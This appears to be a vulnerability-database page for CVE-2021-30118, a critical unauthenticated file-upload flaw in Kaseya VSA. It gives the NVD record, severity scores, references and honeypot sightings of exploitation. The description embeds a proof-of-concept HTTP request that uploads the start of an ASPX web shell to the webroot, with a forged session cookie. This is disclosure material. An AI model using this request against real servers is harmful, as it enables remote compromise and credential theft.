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CVE-2021-30118 (GCVE-0-2021-30118)

Vulnerability from cvelistv5 – Published: 2021-07-09 13:19 – Updated: 2024-08-03 22:24
VLAI Shadowserver Previdian
Title
Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5
Summary
An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE
  • n/a
Assigner
References
Credits
Discovered by Wietse Boonstra of DIVD Additional research by Frank Breedijk of DIVD
Shadowserver
Known Exploited Vulnerability - GCVE BCP-07 Compliant
KEV entry ID: 32f946d3-99f2-4aa8-b646-cc9caeb73e0a

Vulnerability ID: CVE-2021-30118

Status: Confirmed

Status Updated: 2026-07-19 00:00 UTC

Exploited: Yes

Characteristics
Severity: 98.0
Timestamps
First Seen: 2023-12-23
Asserted: 2023-12-23
Last Seen: 2026-07-19
Scope
Asset Exposure: ['internet-facing']
Notes: Affected: Kaseya / VSA | Class: device-management-platform | Severity: Critical (CVSS 9.8) | IoT: no | In CISA KEV: no | Honeypot connections on 2026-07-19: 1
Evidence

Type: Honeypot

Signal: In The Wild Attempts

Confidence: 70%

Source: shadowserver

Details
1D 1
Iot no
Feed Shadowserver Foundation honeypot/exploited-vulnerabilities
Type http-scan
Class device-management-platform
7D Avg 0
Vendor Kaseya
30D Avg 1
90D Avg 3
Product VSA
Cisa Kev no
Connections 1
Observation Date 2026-07-19
Vulnerability Class CVSS
Vulnerability Score 9.8
Vulnerability Severity Critical
References
Created: 2026-06-30 09:23 UTC | Updated: 2026-07-21 01:01 UTC
Previdian
Known Exploited Vulnerability - GCVE BCP-07 Compliant
KEV entry ID: ea0a7935-3fcb-4b60-9df4-1c5fb6a34e55

Vulnerability ID: CVE-2021-30118

Status: Confirmed

Status Updated: 2025-12-18 00:00 UTC

Exploited: Yes

Timestamps
First Seen: 2025-12-18
Asserted: 2025-12-18
Scope
Notes: KEVIntel entry: Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5 | Affected: Kaseya / VSA | CVSS: 9.8 (CRITICAL) | Used in malware: unknown | Not yet in CISA KEV: True
Evidence

Type: Public Report

Signal: Successful Exploitation

Confidence: 70%

Source: kevintel

Details
Feed KEVIntel (kevintel.com)
Title Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5
Vendor Kaseya
Product VSA
Added Date 2025-12-18T00:00:00.000Z
Cvss Score 9.8
Epss Score None
Cvss Severity CRITICAL
Epss Percentile None
Used In Malware unknown
Ahead Of Cisa Kev None
Not Yet In Cisa Kev True
References
Created: 2026-06-23 14:03 UTC | Updated: 2026-07-10 06:14 UTC
Show details on NVD website
To clipboard 

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              "integrityImpact": "COMPLETE",
              "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
              "version": "2.0"
            },
            "exploitabilityScore": 10.0,
            "impactScore": 10.0,
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "source": "nvd@nist.gov",
            "type": "Primary",
            "userInteractionRequired": false
          }
        ],
        "cvssMetricV31": [
          {
            "cvssData": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.8,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            },
            "exploitabilityScore": 3.9,
            "impactScore": 5.9,
            "source": "cve@mitre.org",
            "type": "Secondary"
          },
          {
            "cvssData": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.8,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            },
            "exploitabilityScore": 3.9,
            "impactScore": 5.9,
            "source": "nvd@nist.gov",
            "type": "Primary"
          }
        ]
      },
      "published": "2021-07-09T14:15:07.847",
      "references": [
        {
          "source": "cve@mitre.org",
          "tags": [
            "Patch",
            "Third Party Advisory"
          ],
          "url": "https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/"
        },
        {
          "source": "cve@mitre.org",
          "tags": [
            "Exploit",
            "Third Party Advisory"
          ],
          "url": "https://csirt.divd.nl/CVE-2021-30118"
        },
        {
          "source": "cve@mitre.org",
          "tags": [
            "Patch",
            "Third Party Advisory"
          ],
          "url": "https://csirt.divd.nl/DIVD-2021-00011"
        },
        {
          "source": "cve@mitre.org",
          "tags": [
            "Release Notes",
            "Vendor Advisory"
          ],
          "url": "https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021"
        },
        {
          "source": "af854a3a-2127-422b-91ae-364da2661108",
          "tags": [
            "Patch",
            "Third Party Advisory"
          ],
          "url": "https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/"
        },
        {
          "source": "af854a3a-2127-422b-91ae-364da2661108",
          "tags": [
            "Exploit",
            "Third Party Advisory"
          ],
          "url": "https://csirt.divd.nl/CVE-2021-30118"
        },
        {
          "source": "af854a3a-2127-422b-91ae-364da2661108",
          "tags": [
            "Patch",
            "Third Party Advisory"
          ],
          "url": "https://csirt.divd.nl/DIVD-2021-00011"
        },
        {
          "source": "af854a3a-2127-422b-91ae-364da2661108",
          "tags": [
            "Release Notes",
            "Vendor Advisory"
          ],
          "url": "https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021"
        }
      ],
      "sourceIdentifier": "cve@mitre.org",
      "vulnStatus": "Modified",
      "weaknesses": [
        {
          "description": [
            {
              "lang": "en",
              "value": "CWE-434"
            }
          ],
          "source": "nvd@nist.gov",
          "type": "Primary"
        }
      ]
    },
    "nvd": {
      "cve": {
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:kaseya:vsa:*:*:*:*:-:*:*:*",
                    "matchCriteriaId": "081A5508-D14F-4622-B1F4-87761173D935",
                    "versionEndExcluding": "9.5.5",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring \u0026 Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx\u0026PathData=C%3A%5CKaseya%5CWebPages%5C\u0026__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219\u0026qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 \u003c%@ Page Language=\"C#\" Debug=\"true\" validateRequest=\"false\" %\u003e \u003c%@ Import namespace=\"System.Web.UI.WebControls\" %\u003e \u003c%@ Import namespace=\"System.Diagnostics\" %\u003e \u003c%@ Import namespace=\"System.IO\" %\u003e \u003c%@ Import namespace=\"System\" %\u003e \u003c%@ Import namespace=\"System.Data\" %\u003e \u003c%@ Import namespace=\"System.Data.SqlClient\" %\u003e \u003c%@ Import namespace=\"System.Security.AccessControl\" %\u003e \u003c%@ Import namespace=\"System.Security.Principal\" %\u003e \u003c%@ Import namespace=\"System.Collections.Generic\" %\u003e \u003c%@ Import namespace=\"System.Collections\" %\u003e \u003cscript runat=\"server\"\u003e private const string password = \"pass\"; // The password ( pass ) private const string style = \"dark\"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); \u003csnip\u003e ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise."
          },
          {
            "lang": "es",
            "value": "Un atacante puede cargar archivos con el privilegio del proceso del Servidor Web para el Monitoreo y Gesti\u00f3n Remota Unificada (RMM) de Kaseya VSA 9.5.4.2149 y posteriormente utilizar estos archivos para ejecutar comandos asp La api /SystemTab/uploader.aspx es vulnerable a una carga de archivos arbitraria no autenticada que conduce a RCE. Un atacante puede cargar archivos con el privilegio del proceso del Servidor Web y posteriormente utilizar estos archivos para ejecutar comandos asp. Descripci\u00f3n detallada --- Dada la siguiente petici\u00f3n: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx\u0026amp;PathData=C%3A%5CKaseya%5CWebPages%5C\u0026amp;__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219\u0026amp;qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1. 194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 \u0026lt;%@ Page Language=\"C#\" Debug=\"true\" validateRequest=\"false\" %\u0026gt; \u0026lt;%@ Import namespace=\"System. Web.UI.WebControls\" %\u0026gt; \u0026lt;%@ Import namespace=\"System.Diagnostics\" %\u0026gt; \u0026lt;%@ Import namespace=\"System.IO\" %\u0026gt; \u0026lt;%@ Import namespace=\"System\" %\u0026gt; \u0026lt;%@ Import namespace=\"System.Data\" %\u0026gt; \u0026lt;%@ Import namespace=\"System. Data.SqlClient\" %\u0026gt; \u0026lt;%@ Import namespace=\"System.Security.AccessControl\" %\u0026gt; \u0026lt;%@ Import namespace=\"System.Security.Principal\" %\u0026gt; \u0026lt;%@ Import namespace=\"System.Collections.Generic\" %\u0026gt; \u0026lt;%@ Import namespace=\"System. Collections\" %\u0026gt; "
          }
        ],
        "id": "CVE-2021-30118",
        "lastModified": "2024-11-21T06:03:20.430",
        "metrics": {
          "cvssMetricV2": [
            {
              "acInsufInfo": false,
              "baseSeverity": "HIGH",
              "cvssData": {
                "accessComplexity": "LOW",
                "accessVector": "NETWORK",
                "authentication": "NONE",
                "availabilityImpact": "COMPLETE",
                "baseScore": 10.0,
                "confidentialityImpact": "COMPLETE",
                "integrityImpact": "COMPLETE",
                "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
                "version": "2.0"
              },
              "exploitabilityScore": 10.0,
              "impactScore": 10.0,
              "obtainAllPrivilege": false,
              "obtainOtherPrivilege": false,
              "obtainUserPrivilege": false,
              "source": "nvd@nist.gov",
              "type": "Primary",
              "userInteractionRequired": false
            }
          ],
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.8,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 5.9,
              "source": "cve@mitre.org",
              "type": "Secondary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.8,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 5.9,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ]
        },
        "published": "2021-07-09T14:15:07.847",
        "references": [
          {
            "source": "cve@mitre.org",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/"
          },
          {
            "source": "cve@mitre.org",
            "tags": [
              "Exploit",
              "Third Party Advisory"
            ],
            "url": "https://csirt.divd.nl/CVE-2021-30118"
          },
          {
            "source": "cve@mitre.org",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://csirt.divd.nl/DIVD-2021-00011"
          },
          {
            "source": "cve@mitre.org",
            "tags": [
              "Release Notes",
              "Vendor Advisory"
            ],
            "url": "https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Exploit",
              "Third Party Advisory"
            ],
            "url": "https://csirt.divd.nl/CVE-2021-30118"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://csirt.divd.nl/DIVD-2021-00011"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Release Notes",
              "Vendor Advisory"
            ],
            "url": "https://helpdesk.kaseya.com/hc/en-gb/articles/360019054377-9-5-5-Feature-Release-10-April-2021"
          }
        ],
        "sourceIdentifier": "cve@mitre.org",
        "vulnStatus": "Modified",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-434"
              }
            ],
            "source": "nvd@nist.gov",
            "type": "Primary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-03-27T14:13:56+00:00",
      "cve": "CVE-2021-30118",
      "id": "CVE-2021-30118",
      "initial_release_date": "2021-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Unauthenticated Remote Code Execution in Kaseya VSA \u003c v9.5.5",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2021/cve-2021-30118.json",
      "version": "3"
    }
  }
}



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Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.